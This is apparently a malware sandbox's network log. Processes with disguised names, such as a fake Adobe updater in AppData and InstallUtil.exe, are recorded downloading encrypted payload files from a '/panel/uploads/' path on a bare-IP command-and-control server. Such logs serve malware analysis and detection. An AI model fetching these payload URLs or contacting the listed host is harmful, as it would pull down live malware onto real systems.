Oct 15, 2024 19:22:24.169838905 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 15 Oct 2024 17:22:23 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Oct 15, 2024 19:22:24.235349894 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 15 Oct 2024 17:22:23 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49761	87.120.127.223	80	1632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:26.550168037 CEST	90	OUT	GET /panel/uploads/Fdzqloat.dat HTTP/1.1 Host: 87.120.127.223 Connection: Keep-Alive
Oct 15, 2024 19:22:28.450388908 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 04:15:16 GMT ETag: "133c08-6246815889d52" Accept-Ranges: bytes Content-Length: 1260552 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 2c 11 1c 0b 3d a0 9c 62 80 d2 4a 61 c5 5a a3 37 1f 44 e9 6f 7f 2c e9 d2 83 d9 b0 05 1d 61 9d 36 15 c8 a9 6f 56 dc fc bf a4 5a 99 c7 b8 fe 47 88 62 38 12 4e 03 be a5 da 47 df 94 f7 54 cb 08 6c af d5 09 1e ca f3 6c 84 c4 1d cb 4c 41 f1 c4 bc 3c 0d 82 9b 21 c1 03 08 a5 54 c3 92 61 d3 a1 b8 e5 fc 57 a3 c7 ed 07 5a 0b d5 c3 c0 e6 6d 57 3f e4 c2 95 c8 62 68 2e f8 ac d6 79 e1 89 cb a3 81 6c 3d 19 b3 85 13 78 48 58 2c ce 91 1c 4d 06 79 ce 99 26 a6 29 32 94 47 48 3c a4 d3 8e 0c ac 32 45 3e da c2 b8 c4 1d fb e6 de 08 f5 59 ba f2 52 b5 e0 06 1e cc 31 a2 a0 82 ba 68 52 5c 4b e8 49 78 5f 73 d0 e8 cf cf f3 3c ce 1c 35 2c 0e a4 fe 5e 8c 14 1a a7 5d 23 85 b4 50 ee 56 08 9d b0 dd a9 de 81 14 42 de 74 d6 5e 15 96 47 5c d1 4d 85 49 f1 91 00 61 ef b0 40 3e a9 51 ca 6a ed a1 b9 12 79 5a 97 70 fa 07 ee b0 5f be b0 af 44 7d 8e 00 58 bf ca 6c 80 4d 44 cc 31 ce 41 a8 b2 3b 17 07 81 18 58 a0 2c 31 75 58 54 50 fd 94 03 b3 e7 0a e5 cf c5 ae ee 1d ae 61 05 69 ec e1 c5 2d b1 4a fb d0 48 05 f1 45 f5 19 4e 9a 98 6b 0d da c6 47 67 [TRUNCATED] Data Ascii: ,=bJaZ7Do,a6oVZGb8NGTllLA<!TaWZmW?bh.yl=xHX,My&)2GH<2E>YR1hR\KIx_s<5,^]#PVBt^G\MIa@>QjyZp_D}XlMD1A;X,1uXTPai-JHENkGgj>`zDc=i 6MAOR#;M(H0^YuWK&Nl$^j9)g`7DIl0zR*^N/zb1ErSA<S$'6jvw;g-J#9S~8f]Qrr?`\89(GPp/1@+uP^~:^TiJH=_1W-+$4B7[7$m12(Qf2Co~rgq&Jb=UmbEuZS6:=%kVwi}Z8\|[6o.SRn^5%(z-PB%F2%<o"CyjX~Uts\<%0:pIM(pc^,Q6l;AjFpoT=htDkgT]ML)~xUQe8PD^Qsz_n@DFx_p\d2%Zw{;$Uq23,
Oct 15, 2024 19:22:28.450459957 CEST	1236	IN	Data Raw: 31 4a 12 88 cf 69 2c 15 8d 30 b7 60 db 06 16 a4 21 40 05 e7 3f 3b 3b bf ab 62 26 60 36 f8 db 71 1a 4e 56 5a 58 26 d7 c9 59 52 7c 47 83 86 fd 47 1f 20 71 2f 4f 73 a5 90 38 f3 e5 1f d5 ae 2d b3 0f 93 b8 c3 39 b5 2c e5 f4 94 d0 f6 5e d0 6d cd 99 d5 Data Ascii: 1Ji,0`!@?;;b&`6qNVZX&YR\|GG q/Os8-9,^m4vkI9}m?rM5\|%QTX$(t"&"=i$}*mzo(]#VNcx9^o5B'nN@L=pRPK<><
Oct 15, 2024 19:22:28.450495005 CEST	1236	IN	Data Raw: b6 71 52 58 6b 7b 1d aa 9e 43 eb 2c b5 9e 89 1f 68 3e ad 2d e1 d6 77 39 ec bc c9 14 05 8e 2d a2 ff 18 52 5f a8 18 f6 80 3c 91 19 f0 6a 54 7a 19 08 43 c7 3a fb df 5b fc 51 89 05 97 09 13 a6 40 70 12 f2 aa 26 ac a8 35 ed 02 d2 d7 60 98 8c bf 04 26 Data Ascii: qRXk{C,h>-w9-R_<jTzC:[Q@p&5`&0an/{EB3H]mf`g!W$y#&l"tsIR04xD}U8ARQ,qNV'd3bOP0J2*F,ee-,.pn:\Xvq"ecN
Oct 15, 2024 19:22:28.450529099 CEST	1236	IN	Data Raw: 88 ea 07 84 1b a8 dd 0a 56 d5 dc dc 3e 51 17 35 3a ce 11 2f 04 86 8b 03 ed 5b ed f8 28 d2 93 ca da f7 6d ee db 8f 06 38 3b d3 aa 6f 84 47 83 a2 09 91 14 7f 52 95 18 9c e5 1e 63 60 61 2a 38 c2 7f 29 f0 ce 7a 76 21 8f 08 3b 71 ad 49 50 a5 fb df ee Data Ascii: V>Q5:/[(m8;oGRc`a*8)zv!;qIP;^"he7pC=6 =EDY8c<hKBs\|3$2}ry;A>'qZ%DYE~ui=W!PGFYm3f}E
Oct 15, 2024 19:22:28.450632095 CEST	848	IN	Data Raw: d2 8e b4 93 0d 6d 79 f8 b7 b0 f8 03 aa fd d4 69 d8 d3 f6 13 d5 d4 49 3d 72 2e 24 71 f9 86 62 ad 75 5a 45 62 f3 b9 7f d9 c0 c9 38 0f 85 f3 cd 5d 5d 82 3d 42 ef a9 56 21 3c 50 43 7d 03 c8 72 d0 9f ea 7d e7 03 ac a8 8d d8 96 81 72 4d 9c b1 20 6a 5c Data Ascii: myiI=r.$qbuZEb8]]=BV!<PC}r}rM j\P^[PVq\D,WPvM0#7q(?#nyS6)zsq8APvA\X>~ji22T>70o1;(5a0GdtF
Oct 15, 2024 19:22:28.450665951 CEST	1236	IN	Data Raw: c9 85 66 7c 7e 68 66 6d 48 52 ab d6 03 c3 05 49 b5 1a a9 8f 34 a9 fb 2c b3 51 65 be ec 12 fd 66 97 06 05 27 2b 3b e7 d1 2a 7d f7 5e ee 6c e1 3f 39 f3 39 4a c0 52 f6 4e ad 76 c9 98 ec b4 ed cb 4e 01 37 c9 22 ff 84 0e c5 d7 67 31 98 21 5b a7 23 2c Data Ascii: f\|~hfmHRI4,Qef'+;}^l?99JRNvN7"g1![#,I>L$;9!'2]"Wu9\|)Nsm%DKR,pkSz[c_+ick/@^/,;Uk)fn#[ I'QELe
Oct 15, 2024 19:22:28.450700998 CEST	1236	IN	Data Raw: 56 a7 cd dd 62 f1 1e e1 df e0 01 13 f7 1e dc cd b6 7f 38 78 b6 5a 90 ad 1b fc f4 5e 35 63 e0 3a f6 14 23 88 1b 47 2e e1 30 01 7d 70 d0 6f 7b 4a dd 1b db 84 5c f7 21 4c 5d 9a 79 ed 31 0e fa 2e 05 bd 83 08 56 b2 68 73 fd 25 de 0c 5c be 70 c3 3f 56 Data Ascii: Vb8xZ^5c:#G.0}po{J\!L]y1.Vhs%\p?Vj4`/yWWm){rPZYxJN_ q8eHKu^:<\|v,c-ne{\^knc8\|fDk3W@}l76KG-+MZX_F
Oct 15, 2024 19:22:28.450735092 CEST	1236	IN	Data Raw: eb b4 2c 4a bd fa ea 92 3b 1d ba 0d 14 d2 cd 5f d7 f7 a7 8e c9 b8 2d cf 7d 3d bc d9 25 84 26 b1 b1 03 f7 6b ee 98 4d 7a 62 ca b1 7d b6 92 e2 49 4e 9d d7 63 74 2e ba f9 82 86 14 9f e3 44 f6 6d 28 fc fc 10 e7 e4 46 92 dd c8 dc 15 ce ef c8 5b 32 a1 Data Ascii: ,J;_-}=%&kMzb}INct.Dm(F[24:V\|ACo>JGZdZ'mG1Y\Ul#=^\|6!E~XQi,SatWBdW/D)E`%hyAhF
Oct 15, 2024 19:22:28.450768948 CEST	1236	IN	Data Raw: cc 7a 71 ee 9a 4b 63 fd 12 2c 0b 73 0f ff 83 40 c2 b4 64 a8 e3 39 35 88 52 f6 26 3a 23 6e ce c9 fb 9d c6 9c 51 55 76 4a 6c 9c 05 5b cc 1d 98 f0 93 86 7b 5f 26 30 ae 5d eb c4 28 ac f3 89 85 8a ac e2 b6 1a 27 11 be 94 b9 95 7f b6 05 c2 25 ff 46 a7 Data Ascii: zqKc,s@d95R&:#nQUvJl[{_&0]('%F_r\|>3i"QS=;Dd#q4+:"Slbceji8!a&id7KV94g_MN#KkSYi`+UG/(<,oPP>wW6\Y,
Oct 15, 2024 19:22:28.450804949 CEST	1236	IN	Data Raw: e1 a1 68 91 ed 9d 39 80 45 b0 69 7f b7 c4 52 4f 28 41 f6 2d 21 02 82 5d 29 5f d1 8c 5c c6 34 11 e7 d9 c2 9d 19 c1 b1 23 0d 57 75 10 b8 a9 11 71 1c c4 14 d1 a8 ce 25 1b a4 c7 d0 ba 34 6b 78 68 95 a6 62 b5 cd 3a c3 14 32 d1 9b bc 9c 97 4e fc 4d 40 Data Ascii: h9EiRO(A-!])_\4#Wuq%4kxhb:2NM@@Y~,JeR/!w{:5/\4?xnn[@&,AP<yq~O;dD8A<0>R$zH@pVHo%t81$1\0s2c"Bt$ s)Fp&FR
Oct 15, 2024 19:22:28.450922012 CEST	1236	IN	Data Raw: aa b4 f3 e0 f7 67 97 46 70 66 b9 23 35 5c d8 b7 40 14 15 e5 ee 0d b8 b5 37 23 88 56 2e 5f a9 f4 03 d8 8b 06 d7 bb d6 db d6 ef db 91 10 60 ca 6d 07 fd 61 13 8d fb cc b9 6a e0 c8 6f c9 74 b6 6c 4e 55 60 11 cd 1e 96 a9 51 d0 80 19 bc 55 54 6e 62 06 Data Ascii: gFpf#5\@7#V._`majotlNU`QUTnb77fzJ{o`tjUHcT96tKb* &A!Y8Qo*h~ox6W5@<H"i0rr%oTt?q0IG$W{j;e?m9HA
Oct 15, 2024 19:22:28.451587915 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 04:15:16 GMT ETag: "133c08-6246815889d52" Accept-Ranges: bytes Content-Length: 1260552 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 2c 11 1c 0b 3d a0 9c 62 80 d2 4a 61 c5 5a a3 37 1f 44 e9 6f 7f 2c e9 d2 83 d9 b0 05 1d 61 9d 36 15 c8 a9 6f 56 dc fc bf a4 5a 99 c7 b8 fe 47 88 62 38 12 4e 03 be a5 da 47 df 94 f7 54 cb 08 6c af d5 09 1e ca f3 6c 84 c4 1d cb 4c 41 f1 c4 bc 3c 0d 82 9b 21 c1 03 08 a5 54 c3 92 61 d3 a1 b8 e5 fc 57 a3 c7 ed 07 5a 0b d5 c3 c0 e6 6d 57 3f e4 c2 95 c8 62 68 2e f8 ac d6 79 e1 89 cb a3 81 6c 3d 19 b3 85 13 78 48 58 2c ce 91 1c 4d 06 79 ce 99 26 a6 29 32 94 47 48 3c a4 d3 8e 0c ac 32 45 3e da c2 b8 c4 1d fb e6 de 08 f5 59 ba f2 52 b5 e0 06 1e cc 31 a2 a0 82 ba 68 52 5c 4b e8 49 78 5f 73 d0 e8 cf cf f3 3c ce 1c 35 2c 0e a4 fe 5e 8c 14 1a a7 5d 23 85 b4 50 ee 56 08 9d b0 dd a9 de 81 14 42 de 74 d6 5e 15 96 47 5c d1 4d 85 49 f1 91 00 61 ef b0 40 3e a9 51 ca 6a ed a1 b9 12 79 5a 97 70 fa 07 ee b0 5f be b0 af 44 7d 8e 00 58 bf ca 6c 80 4d 44 cc 31 ce 41 a8 b2 3b 17 07 81 18 58 a0 2c 31 75 58 54 50 fd 94 03 b3 e7 0a e5 cf c5 ae ee 1d ae 61 05 69 ec e1 c5 2d b1 4a fb d0 48 05 f1 45 f5 19 4e 9a 98 6b 0d da c6 47 67 [TRUNCATED] Data Ascii: ,=bJaZ7Do,a6oVZGb8NGTllLA<!TaWZmW?bh.yl=xHX,My&)2GH<2E>YR1hR\KIx_s<5,^]#PVBt^G\MIa@>QjyZp_D}XlMD1A;X,1uXTPai-JHENkGgj>`zDc=i 6MAOR#;M(H0^YuWK&Nl$^j9)g`7DIl0zR*^N/zb1ErSA<S$'6jvw;g-J#9S~8f]Qrr?`\89(GPp/1@+uP^~:^TiJH=_1W-+$4B7[7$m12(Qf2Co~rgq&Jb=UmbEuZS6:=%kVwi}Z8\|[6o.SRn^5%(z-PB%F2%<o"CyjX~Uts\<%0:pIM(pc^,Q6l;AjFpoT=htDkgT]ML)~xUQe8PD^Qsz_n@DFx_p\d2%Zw{;$Uq23,
Oct 15, 2024 19:22:28.453583956 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 04:15:16 GMT ETag: "133c08-6246815889d52" Accept-Ranges: bytes Content-Length: 1260552 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 2c 11 1c 0b 3d a0 9c 62 80 d2 4a 61 c5 5a a3 37 1f 44 e9 6f 7f 2c e9 d2 83 d9 b0 05 1d 61 9d 36 15 c8 a9 6f 56 dc fc bf a4 5a 99 c7 b8 fe 47 88 62 38 12 4e 03 be a5 da 47 df 94 f7 54 cb 08 6c af d5 09 1e ca f3 6c 84 c4 1d cb 4c 41 f1 c4 bc 3c 0d 82 9b 21 c1 03 08 a5 54 c3 92 61 d3 a1 b8 e5 fc 57 a3 c7 ed 07 5a 0b d5 c3 c0 e6 6d 57 3f e4 c2 95 c8 62 68 2e f8 ac d6 79 e1 89 cb a3 81 6c 3d 19 b3 85 13 78 48 58 2c ce 91 1c 4d 06 79 ce 99 26 a6 29 32 94 47 48 3c a4 d3 8e 0c ac 32 45 3e da c2 b8 c4 1d fb e6 de 08 f5 59 ba f2 52 b5 e0 06 1e cc 31 a2 a0 82 ba 68 52 5c 4b e8 49 78 5f 73 d0 e8 cf cf f3 3c ce 1c 35 2c 0e a4 fe 5e 8c 14 1a a7 5d 23 85 b4 50 ee 56 08 9d b0 dd a9 de 81 14 42 de 74 d6 5e 15 96 47 5c d1 4d 85 49 f1 91 00 61 ef b0 40 3e a9 51 ca 6a ed a1 b9 12 79 5a 97 70 fa 07 ee b0 5f be b0 af 44 7d 8e 00 58 bf ca 6c 80 4d 44 cc 31 ce 41 a8 b2 3b 17 07 81 18 58 a0 2c 31 75 58 54 50 fd 94 03 b3 e7 0a e5 cf c5 ae ee 1d ae 61 05 69 ec e1 c5 2d b1 4a fb d0 48 05 f1 45 f5 19 4e 9a 98 6b 0d da c6 47 67 [TRUNCATED] Data Ascii: ,=bJaZ7Do,a6oVZGb8NGTllLA<!TaWZmW?bh.yl=xHX,My&)2GH<2E>YR1hR\KIx_s<5,^]#PVBt^G\MIa@>QjyZp_D}XlMD1A;X,1uXTPai-JHENkGgj>`zDc=i 6MAOR#;M(H0^YuWK&Nl$^j9)g`7DIl0zR*^N/zb1ErSA<S$'6jvw;g-J#9S~8f]Qrr?`\89(GPp/1@+uP^~:^TiJH=_1W-+$4B7[7$m12(Qf2Co~rgq&Jb=UmbEuZS6:=%kVwi}Z8\|[6o.SRn^5%(z-PB%F2%<o"CyjX~Uts\<%0:pIM(pc^,Q6l;AjFpoT=htDkgT]ML)~xUQe8PD^Qsz_n@DFx_p\d2%Zw{;$Uq23,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49767	87.120.127.223	80	2848	C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:28.722738981 CEST	89	OUT	GET /panel/uploads/Afocvkc.dat HTTP/1.1 Host: 87.120.127.223 Connection: Keep-Alive
Oct 15, 2024 19:22:29.557756901 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:29 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 04:30:20 GMT ETag: "ea808-624684b6c5b85" Accept-Ranges: bytes Content-Length: 960520 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: f0 5e 53 96 41 b2 94 cb 6d 19 3e f9 23 34 28 86 91 7f 31 50 12 e8 9a 28 32 49 a3 e9 4a a3 97 20 bf 3d 95 69 4d 7a 45 75 b8 d9 be 82 50 21 bc ab de 65 8b 12 20 c9 ef 0e 64 95 71 6d ea d3 cc d2 d1 34 f3 ac 79 bd 30 fe 1a eb 29 44 8f 4b 4a 4e 49 90 65 e0 a8 34 9b 14 b3 4e 79 98 ea cf 0c 0e 05 b4 7c 5a 07 22 05 98 c5 78 d7 a3 dc 9e 40 33 34 6d d5 c5 2b 91 f3 7b cc 09 96 d1 69 98 60 f5 fc ca 89 ec 12 17 20 f9 16 b1 1f 96 25 12 2e e1 3a 03 ea 53 63 f1 61 c7 51 8d 3c b6 34 41 f8 70 5f 4b a8 9a 2e d9 16 52 83 17 d7 8d 58 51 36 5b 6e f9 74 8d f6 a6 da 13 3a f9 0a 56 fc 72 db 1d 54 64 28 4f 5f 28 77 4f c9 95 66 f9 46 ac d9 ca e5 cd 29 d2 6e 36 98 1e 0d 2a 47 62 8c 42 54 32 c8 ad ea f9 84 ff 55 20 0d 6c 6c 21 8c 0c 45 36 ed 89 a7 5a 05 c8 83 23 6f 31 86 09 30 b5 c3 90 fb 7a ba 79 cf 89 fe 8c 6e ff 26 cc ec ec cd 25 0c 82 57 23 1f f6 a7 6a e6 a4 16 c3 00 a7 8e 21 e3 52 f7 2e 2d 7d 20 2c a6 f5 38 74 6b 71 fe 28 25 b9 1d 72 47 47 c9 02 20 99 fe a8 58 0b 3a ce 05 17 92 b9 43 38 02 84 7a a3 06 b8 d1 19 ec 8c d5 cd [TRUNCATED] Data Ascii: ^SAm>#4(1P(2IJ =iMzEuP!e dqm4y0)DKJNIe4Ny\|Z"x@34m+{i` %.:ScaQ<4Ap_K.RXQ6[nt:VrTd(O_(wOfF)n6GbBT2U ll!E6Z#o10zyn&%W#j!R.-} ,8tkq(%rGG X:C8z9_RAldb>X!h<$xH#?7vIWH\U\|<axy1a%'D6wecceQuvkCg5IzgD6 259KO,obwNQ==eCs=;v>=9oQhmz5P")7S@/?jqe&#<(Oj^pa0<\|KA[S6YJi[Pw6+LLuq\|Z'Em&m"$EmeSlk>a2qusn}N{cK>.J^mZ6hf?'iuW:Ey.H.0J!2x;cN!HXmPMU#uNp54WB3C5UA&k"z])Du[=$4 ZiK5n4D3x
Oct 15, 2024 19:22:29.557786942 CEST	212	IN	Data Raw: 96 ea 44 65 05 c7 08 87 bc 1d c0 2b 94 af 92 f7 a0 52 76 24 0b 43 b6 48 68 bb 9d f6 54 1a 3d 12 52 bf 4f 1a 39 91 cd c5 ed 2f 81 03 1a 0b f2 76 f1 06 25 be cc ea 1a e9 78 a0 c7 4d d6 cf 7f c6 41 63 d0 55 56 26 33 6f 9e 39 57 dd 18 a2 2c 2a 93 36 Data Ascii: De+Rv$CHhT=RO9/v%xMAcUV&3o9W,*6 h@a^Jdj186E$r+Pf2su<UhD&maSR`nM0KcmmGnz9i`5c#yPCg>
Oct 15, 2024 19:22:29.557821989 CEST	1236	IN	Data Raw: ff fd 4f 3b 8b 4a 9a 0d 0d a9 ba 6e 16 70 67 ed 08 33 dd 66 40 95 9a f6 2c 36 c3 47 b5 b3 44 b3 8d 9b b6 39 e5 1d a9 c4 81 32 63 20 b9 19 40 fb df bc a6 25 a2 1e 63 1a 4e b7 c2 cf 5c 0a 4c 87 08 19 87 aa 3e 41 7e d4 32 e3 4e 41 6f 7e 36 60 a6 c2 Data Ascii: O;Jnpg3f@,6GD92c @%cN\L>A~2NAo~6`%-E::2v4m+/q!@H,~<U>w=tw47Ib/\\|M^Mmx,9k,%6*jDJ-N7J!t6o6\/C8]YB
Oct 15, 2024 19:22:29.557878017 CEST	1236	IN	Data Raw: 5c 29 6b 36 01 d6 93 ea be 3a c2 98 28 2b 8d 9a 00 67 4c f4 09 49 7c 10 ff f4 d8 c4 4f c6 13 38 19 c0 32 0a 1f e1 77 8d a8 ce 89 d1 3d 3c fa 19 62 18 40 e8 57 01 cd 52 bb 83 a4 d2 90 59 0d f5 6b 3c 70 5c 20 92 1e af af 90 7a bd 96 71 63 aa c5 77 Data Ascii: \)k6:(+gLI\|O82w=<b@WRYk<p\ zqcwPy8Po35U`]j>}aO=BW+pr3Hy(HOEXBul,P34On`T%)X9Y8N9udv7:(
Oct 15, 2024 19:22:29.557930946 CEST	1236	IN	Data Raw: 8e 57 27 c7 5d b5 81 9d 1d 05 85 65 20 50 1f e7 61 99 9b 25 4b d7 4a 4f 64 50 d0 99 6e 58 ab 15 bc 54 b0 19 85 05 f1 0b e0 9b 00 70 0c 16 50 7d c7 74 d4 88 db c5 09 12 ab 8b a0 5c fc 6a d0 fe 9c 84 11 84 97 f7 da 05 93 ee 94 87 0d b2 22 11 dd 47 Data Ascii: W']e Pa%KJOdPnXTpP}t\j"G%i/?N]-9F][Q++pN0@X^L9@_!&Z,/m~S2m.4w%U`T `<$Uj0pC
Oct 15, 2024 19:22:29.557967901 CEST	1236	IN	Data Raw: 04 05 b6 9b c7 c6 e3 e5 0b e9 3d 07 2b 4e b9 6c 18 65 a6 21 92 b3 3f 04 36 b6 7c 05 ad 0c d3 e2 04 c7 b3 b0 0d 29 74 64 16 ec 29 b9 5e 4a a4 be 44 95 69 99 2f 01 8e b3 d7 73 1e 60 10 95 c3 b0 66 97 df 39 93 42 dc 9e a8 83 88 55 70 1d a8 a8 61 f6 Data Ascii: =+Nle!?6\|)td)^JDi/s`f9BUpah{dzex%ix1c[yn=I"^>Hzo$(?aiKznC'S,J\-.jC/EoMa4B.W/!
Oct 15, 2024 19:22:29.558021069 CEST	848	IN	Data Raw: 85 63 93 f0 ae 24 19 8f 8e 72 4c 74 fd 2c b2 9a 0d ef 70 39 cb e7 1e c0 72 14 b1 32 55 f2 05 b3 d6 01 10 27 f9 e2 ad a8 69 80 c7 85 65 fa 8e fe 02 93 28 68 de 0b 76 c1 46 5a 0c 44 c9 a2 88 9d db 05 54 1c e9 7e 6c 07 cd 77 f4 ba 0a 3a 39 76 09 db Data Ascii: c$rLt,p9r2U'ie(hvFZDT~lw:9vIamUx\{{F%8{;2'-\|AtHj\|Q/Y&18(\{5\|f8;P 1>>HP3'9!*tW[FI!-:,A~sK^j[+9
Oct 15, 2024 19:22:29.558058023 CEST	1236	IN	Data Raw: c9 6d 88 4f 1e 51 5c 95 02 7e 74 df 97 c7 b0 3c d6 6e 80 87 8e 2f 88 8c 6c c7 14 ec 30 da 25 a0 bf fe ff 10 0b c9 dd cb 89 06 78 6a 98 e5 20 1f 22 7b af 0a b2 cd 3b f5 b7 1a a8 69 54 50 fd 39 ee fd 34 9d 24 fe 9b 3e 00 5f 4d 60 a5 08 10 ad fe 58 Data Ascii: mOQ\~t<n/l0%xj "{;iTP94$>_M`XQUu1el*+1WM}2H}aKp"Z7",Ra?]yPYy;2}{(~L2qxFMv3T1~Nyuv\|"
Oct 15, 2024 19:22:29.558090925 CEST	1236	IN	Data Raw: 48 3c 9a b7 56 fd 30 8a ce 0a e0 6d 36 1d 6d 1d 8b df 1c 4e 71 91 52 d5 ff 81 b6 ed 7b 60 f4 c7 37 8a ff 7a d9 e8 8c 46 46 bd f6 37 90 a4 98 e8 25 69 ef c7 e2 0e 96 a2 6f 1e e3 87 92 8d fb fb be 3a 97 c6 cd ba 9a b0 c4 e8 b1 dd 15 76 7a 46 a7 91 Data Ascii: H<V0m6mNqR{`7zFF7%io:vzFEZQ=`ixcKb\WG&(+^08SlfCi=HnHU}(zt0:}Qg6,/I&;\|LB\|}+_lEMxr?J }umLW54/s~
Oct 15, 2024 19:22:29.558125973 CEST	1236	IN	Data Raw: d1 d5 72 a8 85 b9 b9 27 7e a7 a5 17 45 99 14 5a ad d5 f3 f9 1a 9c 01 49 7b 7e b7 73 2d 06 02 34 22 0f 43 a6 e8 bd 63 9a b7 09 3c a1 57 b8 7f 45 fa 28 f6 f9 ba a5 f3 82 72 48 b6 5f 79 9b d7 49 71 28 ca 87 12 44 c3 b7 be 32 04 48 95 70 a5 4e 2b 4d Data Ascii: r'~EZI{~s-4"Cc<WE(rH_yIq(D2HpN+MI&Q:`C+nJGOHTxNPa$II\|b#L3Mr^BPJzM\763qk}][.Nf?W>L}h!:~V_I\|9f
Oct 15, 2024 19:22:29.564232111 CEST	1236	IN	Data Raw: 8a 39 70 9a f4 5f 94 36 af 6c 28 39 cc b7 09 c7 d6 96 47 97 44 5d 76 8a d9 81 c9 c9 6a c6 ce 76 94 c7 92 b9 68 6a 57 5d a4 a1 da 1f c8 0c 28 34 bb e9 e8 38 be 1b 28 dd 10 13 bb dd 41 6e 1e 47 c3 b0 fa fa 8f 1c 86 3f 62 9b 43 32 83 13 7c df 0d 26 Data Ascii: 9p_6l(9GD]vjvhjW](48(AnG?bC2\|&Ql/d E5&ia[do^sc}ZVhb=zq\^\|Y3x!Gz^)p~pd;I]72h$eA$O%tsE&6UF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49793	87.120.127.223	80	3224	C:\Users\user\AppData\Local\Temp\Plain_Checker.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:33.698367119 CEST	89	OUT	GET /panel/uploads/Mexuazc.pdf HTTP/1.1 Host: 87.120.127.223 Connection: Keep-Alive
